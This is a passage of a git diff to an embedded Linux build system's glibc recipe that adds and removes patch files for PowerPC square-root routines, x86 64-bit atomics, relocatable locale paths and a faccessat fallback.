-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-new file mode 100644
-index 0000000000..71e516d1c8
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c
-@@ -0,0 +1,134 @@
-+/* Double-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float two108 = 3.245185536584267269e+32;
-+static const float twom54 = 5.551115123125782702e-17;
-+static const float half = 0.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the actual square root and half of its reciprocal
-+ simultaneously. */
-+
-+#ifdef __STDC__
-+double
-+__ieee754_sqrt (double b)
-+#else
-+double
-+__ieee754_sqrt (b)
-+ double b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+ double y, g, h, d, r;
-+ ieee_double_shape_type u;
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ u.value = b;
-+
-+ relax_fenv_state ();
-+
-+ __asm__ ("frsqrte %[estimate], %[x]\n"
-+ : [estimate] "=f" (y) : [x] "f" (b));
-+
-+ /* Following Muller et al, page 168, equation 5.20.
-+
-+ h goes to 1/(2*sqrt(b))
-+ g goes to sqrt(b).
-+
-+ We need three iterations to get within 1ulp. */
-+
-+ /* Indicate that these can be performed prior to the branch. GCC
-+ insists on sinking them below the branch, however; it seems like
-+ they'd be better before the branch so that we can cover any latency
-+ from storing the argument and loading its high word. Oh well. */
-+
-+ g = b * y;
-+ h = 0.5 * y;
-+
-+ /* Handle small numbers by scaling. */
-+ if (__builtin_expect ((u.parts.msw & 0x7ff00000) <= 0x02000000, 0))
-+ return __ieee754_sqrt (b * two108) * twom54;
-+
-+#define FMADD(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmadd %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ r = FNMSUB (g, h, half);
-+ g = FMADD (g, r, g);
-+ h = FMADD (h, r, h);
-+
-+ /* g is now +/- 1ulp, or exactly equal to, the square root of b. */
-+
-+ /* Final refinement. */
-+ d = FNMSUB (g, g, b);
-+
-+ fesetenv_register (fe);
-+ return FMADD (d, h, g);
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_wash (b);
-+}
-diff --git a/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-new file mode 100644
-index 0000000000..26fa067abf
---- /dev/null
-+++ b/sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c
-@@ -0,0 +1,101 @@
-+/* Single-precision floating point square root.
-+ Copyright (C) 2010 Free Software Foundation, Inc.
-+ This file is part of the GNU C Library.
-+
-+ The GNU C Library is free software; you can redistribute it and/or
-+ modify it under the terms of the GNU Lesser General Public
-+ License as published by the Free Software Foundation; either
-+ version 2.1 of the License, or (at your option) any later version.
-+
-+ The GNU C Library is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ Lesser General Public License for more details.
-+
-+ You should have received a copy of the GNU Lesser General Public
-+ License along with the GNU C Library; if not, write to the Free
-+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
-+ 02111-1307 USA. */
-+
-+#include <math.h>
-+#include <math_private.h>
-+#include <fenv_libc.h>
-+#include <inttypes.h>
-+
-+#include <sysdep.h>
-+#include <ldsodefs.h>
-+
-+static const ieee_float_shape_type a_nan = {.word = 0x7fc00000 };
-+static const ieee_float_shape_type a_inf = {.word = 0x7f800000 };
-+static const float threehalf = 1.5;
-+
-+/* The method is based on the descriptions in:
-+
-+ _The Handbook of Floating-Pointer Arithmetic_ by Muller et al., chapter 5;
-+ _IA-64 and Elementary Functions: Speed and Precision_ by Markstein, chapter 9
-+
-+ We find the reciprocal square root and use that to compute the actual
-+ square root. */
-+
-+#ifdef __STDC__
-+float
-+__ieee754_sqrtf (float b)
-+#else
-+float
-+__ieee754_sqrtf (b)
-+ float b;
-+#endif
-+{
-+ if (__builtin_expect (b > 0, 1))
-+ {
-+#define FMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+#define FNMSUB(a_, c_, b_) \
-+ ({ double __r; \
-+ __asm__ ("fnmsub %[r], %[a], %[c], %[b]\n" \
-+ : [r] "=f" (__r) : [a] "f" (a_), [c] "f" (c_), [b] "f" (b_)); \
-+ __r;})
-+
-+ if (__builtin_expect (b != a_inf.value, 1))
-+ {
-+ double y, x;
-+ fenv_t fe;
-+
-+ fe = fegetenv_register ();
-+
-+ relax_fenv_state ();
-+
-+ /* Compute y = 1.5 * b - b. Uses fewer constants than y = 0.5 * b. */
-+ y = FMSUB (threehalf, b, b);
-+
-+ /* Initial estimate. */
-+ __asm__ ("frsqrte %[x], %[b]\n" : [x] "=f" (x) : [b] "f" (b));
-+
-+ /* Iterate. x_{n+1} = x_n * (1.5 - y * (x_n * x_n)). */
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+ x = x * FNMSUB (y, x * x, threehalf);
-+
-+ /* All done. */
-+ fesetenv_register (fe);
-+ return x * b;
-+ }
-+ }
-+ else if (b < 0)
-+ {
-+ /* For some reason, some PowerPC32 processors don't implement
-+ FE_INVALID_SQRT. */
-+#ifdef FE_INVALID_SQRT
-+ feraiseexcept (FE_INVALID_SQRT);
-+
-+ fenv_union_t u = { .fenv = fegetenv_register () };
-+ if ((u.l & FE_INVALID) == 0)
-+#endif
-+ feraiseexcept (FE_INVALID);
-+ b = a_nan.value;
-+ }
-+ return f_washf (b);
-+}
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
-new file mode 100644
-index 0000000000..b103b4dea5
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/603e/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/603e/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
-new file mode 100644
-index 0000000000..64db17fada
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e300c3/fpu/Implies
-@@ -0,0 +1,2 @@
-+# e300c3 is a variant of 603e so use the same optimizations for sqrt
-+powerpc/powerpc32/603e/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
-new file mode 100644
-index 0000000000..7eac5fcf02
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e500mc/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e500mc/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
-new file mode 100644
-index 0000000000..264b2a7700
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e5500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e5500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
-new file mode 100644
-index 0000000000..a25934467b
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc32/e6500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc32/e6500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
-new file mode 100644
-index 0000000000..a7bc854be8
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e5500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc64/e5500/fpu
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-new file mode 100644
-index 0000000000..04ff8cc181
---- /dev/null
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/e6500/fpu/Implies
-@@ -0,0 +1 @@
-+powerpc/powerpc64/e6500/fpu
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch b/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
new file mode 100644
index 0000000000..493b2daad3
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch
@@ -0,0 +1,43 @@
+From a1fbd7ef1da02f334ff72c52cb11116164649067 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 31 Dec 2015 14:35:35 -0800
+Subject: [PATCH] nativesdk-glibc: Allow 64 bit atomics for x86
+
+The fix consist of allowing 64bit atomic ops for x86.
+This should be safe for i586 and newer CPUs.
+It also makes the synchronization more efficient.
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/x86/atomic-machine.h | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+diff --git a/sysdeps/x86/atomic-machine.h b/sysdeps/x86/atomic-machine.h
+index 2692d94a92..9d39bfdbd5 100644
+--- a/sysdeps/x86/atomic-machine.h
++++ b/sysdeps/x86/atomic-machine.h
+@@ -52,19 +52,14 @@ typedef uintmax_t uatomic_max_t;
+ #define LOCK_PREFIX "lock;"
+
+ #define USE_ATOMIC_COMPILER_BUILTINS 1
++# define __HAVE_64B_ATOMICS 1
+
+ #ifdef __x86_64__
+-# define __HAVE_64B_ATOMICS 1
+ # define SP_REG "rsp"
+ # define SEG_REG "fs"
+ # define BR_CONSTRAINT "q"
+ # define IBR_CONSTRAINT "iq"
+ #else
+-/* Since the Pentium, i386 CPUs have supported 64-bit atomics, but the
+- i386 psABI supplement provides only 4-byte alignment for uint64_t
+- inside structs, so it is currently not possible to use 64-bit
+- atomics on this platform. */
+-# define __HAVE_64B_ATOMICS 0
+ # define SP_REG "esp"
+ # define SEG_REG "gs"
+ # define BR_CONSTRAINT "r"
diff --git a/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch b/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
new file mode 100644
index 0000000000..b40d2bdef6
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch
@@ -0,0 +1,100 @@
+From bf1603b3d73f64de777be00f7e55f2cfef596102 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 3 Aug 2018 09:55:12 -0700
+Subject: [PATCH] nativesdk-glibc: Make relocatable install for locales
+
+The glibc locale path is hard-coded to the install prefix, but in SDKs we need
+to be able to relocate the binaries. Expand the strings to 4K and put them in a
+magic segment that we can relocate at install time.
+
+Upstream-Status: Inappropriate (OE-specific)
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/findlocale.c | 4 ++--
+ locale/loadarchive.c | 2 +-
+ locale/localeinfo.h | 2 +-
+ locale/programs/locale.c | 7 ++++---
+ 4 files changed, 8 insertions(+), 7 deletions(-)
+
+diff --git a/locale/findlocale.c b/locale/findlocale.c
+index 5986373edd..856ba9afc0 100644
+--- a/locale/findlocale.c
++++ b/locale/findlocale.c
+@@ -55,7 +55,7 @@ struct __locale_data *const _nl_C[] attribute_hidden =
+ which are somehow addressed. */
+ struct loaded_l10nfile *_nl_locale_file_list[__LC_LAST];
+
+-const char _nl_default_locale_path[] attribute_hidden = COMPLOCALEDIR;
++char _nl_default_locale_path[4096] attribute_hidden __attribute__ ((section (".gccrelocprefix"))) = COMPLOCALEDIR;
+
+ /* Checks if the name is actually present, that is, not NULL and not
+ empty. */
+@@ -165,7 +165,7 @@ _nl_find_locale (const char *locale_path, size_t locale_path_len,
+
+ /* Nothing in the archive. Set the default path to search below. */
+ locale_path = _nl_default_locale_path;
+- locale_path_len = sizeof _nl_default_locale_path;
++ locale_path_len = strlen(locale_path) + 1;
+ }
+ else
+ /* We really have to load some data. First see whether the name is
+diff --git a/locale/loadarchive.c b/locale/loadarchive.c
+index 512769eaec..436619091b 100644
+--- a/locale/loadarchive.c
++++ b/locale/loadarchive.c
+@@ -42,7 +42,7 @@
+
+
+ /* Name of the locale archive file. */
+-static const char archfname[] = COMPLOCALEDIR "/locale-archive";
++static const char archfname[4096] __attribute__ ((section (".gccrelocprefix"))) = COMPLOCALEDIR "/locale-archive";
+
+ /* Size of initial mapping window, optimal if large enough to
+ cover the header plus the initial locale. */
+diff --git a/locale/localeinfo.h b/locale/localeinfo.h
+index b3d4da0185..22f9dc1140 100644
+--- a/locale/localeinfo.h
++++ b/locale/localeinfo.h
+@@ -331,7 +331,7 @@ _nl_lookup_word (locale_t l, int category, int item)
+ }
+
+ /* Default search path if no LOCPATH environment variable. */
+-extern const char _nl_default_locale_path[] attribute_hidden;
++extern char _nl_default_locale_path[4096] attribute_hidden;
+
+ /* Load the locale data for CATEGORY from the file specified by *NAME.
+ If *NAME is "", use environment variables as specified by POSIX, and
+diff --git a/locale/programs/locale.c b/locale/programs/locale.c
+index e9275d6b83..a9109155e5 100644
+--- a/locale/programs/locale.c
++++ b/locale/programs/locale.c
+@@ -631,6 +631,7 @@ nameentcmp (const void *a, const void *b)
+ ((const struct nameent *) b)->name);
+ }
+
++static char _write_archive_locales_path[4096] attribute_hidden __attribute__ ((section (".gccrelocprefix"))) = ARCHIVE_NAME;
+
+ static int
+ write_archive_locales (void **all_datap, char *linebuf)
+@@ -644,7 +645,7 @@ write_archive_locales (void **all_datap, char *linebuf)
+ int fd, ret = 0;
+ uint32_t cnt;
+
+- fd = open64 (ARCHIVE_NAME, O_RDONLY);
++ fd = open64 (_write_archive_locales_path, O_RDONLY);
+ if (fd < 0)
+ return 0;
+
+@@ -699,8 +700,8 @@ write_archive_locales (void **all_datap, char *linebuf)
+ if (cnt)
+ putchar_unlocked ('\n');
+
+- printf ("locale: %-15.15s archive: " ARCHIVE_NAME "\n%s\n",
+- names[cnt].name, linebuf);
++ printf ("locale: %-15.15s archive: %s\n%s\n",
++ names[cnt].name, _write_archive_locales_path, linebuf);
+
+ locrec = (struct locrecent *) (addr + names[cnt].locrec_offset);
+
diff --git a/meta/recipes-core/glibc/glibc/0007-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch b/meta/recipes-core/glibc/glibc/0007-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
deleted file mode 100644
index ae6fb268a5..0000000000
--- a/meta/recipes-core/glibc/glibc/0007-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From dc715f6c70d01e9c3b31c1825fa5bc447967c847 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:11:22 +0000
-Subject: [PATCH 07/28] readlib: Add OECORE_KNOWN_INTERPRETER_NAMES to known
- names
-
-This bolts in a hook for OE to pass its own version of interpreter
-names into glibc especially for multilib case, where it differs from any
-other distros
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Lianhao Lu <lianhao.lu@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- elf/readlib.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/elf/readlib.c b/elf/readlib.c
-index c9743e6692..6307f918fc 100644
---- a/elf/readlib.c
-+++ b/elf/readlib.c
-@@ -51,6 +51,7 @@ static struct known_names interpreters[] =
- #ifdef SYSDEP_KNOWN_INTERPRETER_NAMES
- SYSDEP_KNOWN_INTERPRETER_NAMES
- #endif
-+ OECORE_KNOWN_INTERPRETER_NAMES
- };
-
- static struct known_names known_libs[] =
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch b/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch
new file mode 100644
index 0000000000..a47dd5331a
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch
@@ -0,0 +1,32 @@
+From 78b2e81940561069faf7698931a033784f794e40 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 6 Mar 2021 14:48:56 -0800
+Subject: [PATCH] nativesdk-glibc: Fall back to faccessat on faccess2 returns
+ EPERM
+
+Fedora-specific workaround for systemd-nspawn
+
+Upstream-Status: Inappropriate [Distro Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/unix/sysv/linux/faccessat.c | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/sysdeps/unix/sysv/linux/faccessat.c b/sysdeps/unix/sysv/linux/faccessat.c
+index 13160d3249..ee3ddc9b79 100644
+--- a/sysdeps/unix/sysv/linux/faccessat.c
++++ b/sysdeps/unix/sysv/linux/faccessat.c
+@@ -30,7 +30,11 @@ __faccessat (int fd, const char *file, int mode, int flag)
+ #if __ASSUME_FACCESSAT2
+ return ret;
+ #else
+- if (ret == 0 || errno != ENOSYS)
++ /* Fedora-specific workaround:
++ As a workround for a broken systemd-nspawn that returns
++ EPERM when a syscall is not allowed instead of ENOSYS
++ we must check for EPERM here and fall back to faccessat. */
++ if (ret == 0 || !(errno == ENOSYS || errno == EPERM))
+ return ret;
+
+ if (flag & ~(AT_SYMLINK_NOFOLLOW | AT_EACCESS))
diff --git a/meta/recipes-core/glibc/glibc/0008-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch b/meta/recipes-core/glibc/glibc/0008-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch
deleted file mode 100644
index 8bed20306e..0000000000
--- a/meta/recipes-core/glibc/glibc/0008-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch
+++ /dev/null
@@ -1,208 +0,0 @@
-From 42a01c55786a9472934e12e0bf0c40983579b607 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:15:07 +0000
-Subject: [PATCH 08/28] ppc/sqrt: Fix undefined reference to `__sqrt_finite'
-
-on ppc fixes the errors like below
-| ./.libs/libpulsecore-1.1.so: undefined reference to `__sqrt_finite'
-| collect2: ld returned 1 exit status
-
-Upstream-Status: Pending
-
-ChangeLog
-
-2012-01-06 Khem Raj <raj.khem@gmail.com>
-
- * sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c: Add __*_finite alias.
- Remove cruft.
- * sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c: Ditto.
- * sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c: Ditto.
- * sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c: Ditto.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c | 7 +------
- sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c | 7 +------
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e5500/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 1 +
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrt.c | 7 +------
- sysdeps/powerpc/powerpc64/e5500/fpu/e_sqrtf.c | 7 +------
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrt.c | 1 +
- sysdeps/powerpc/powerpc64/e6500/fpu/e_sqrtf.c | 1 +
- 12 files changed, 12 insertions(+), 24 deletions(-)
-
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-index 71e516d1c8..1795fd6c3e 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrt.c
-@@ -39,14 +39,8 @@ static const float half = 0.5;
- We find the actual square root and half of its reciprocal
- simultaneously. */
-
--#ifdef __STDC__
- double
- __ieee754_sqrt (double b)
--#else
--double
--__ieee754_sqrt (b)
-- double b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -132,3 +126,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
-diff --git a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-index 26fa067abf..a917f313ab 100644
---- a/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-+++ b/sysdeps/powerpc/powerpc32/603e/fpu/e_sqrtf.c
-@@ -37,14 +37,8 @@ static const float threehalf = 1.5;
- We find the reciprocal square root and use that to compute the actual
- square root. */
-
--#ifdef __STDC__
- float
- __ieee754_sqrtf (float b)
--#else
--float
--__ieee754_sqrtf (b)
-- float b;
--#endif
- {
- if (__builtin_expect (b > 0, 1))
- {
-@@ -99,3 +93,4 @@ __ieee754_sqrtf (b)
- }
- return f_washf (b);
- }
-+strong_alias (__ieee754_sqrtf, __sqrtf_finite)
-diff --git a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-index 71e516d1c8..fc4a74990e 100644
---- a/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-+++ b/sysdeps/powerpc/powerpc32/e500mc/fpu/e_sqrt.c
-@@ -132,3 +132,4 @@ __ieee754_sqrt (b)
- }
- return f_wash (b);
- }
-+strong_alias (__ieee754_sqrt, __sqrt_finite)
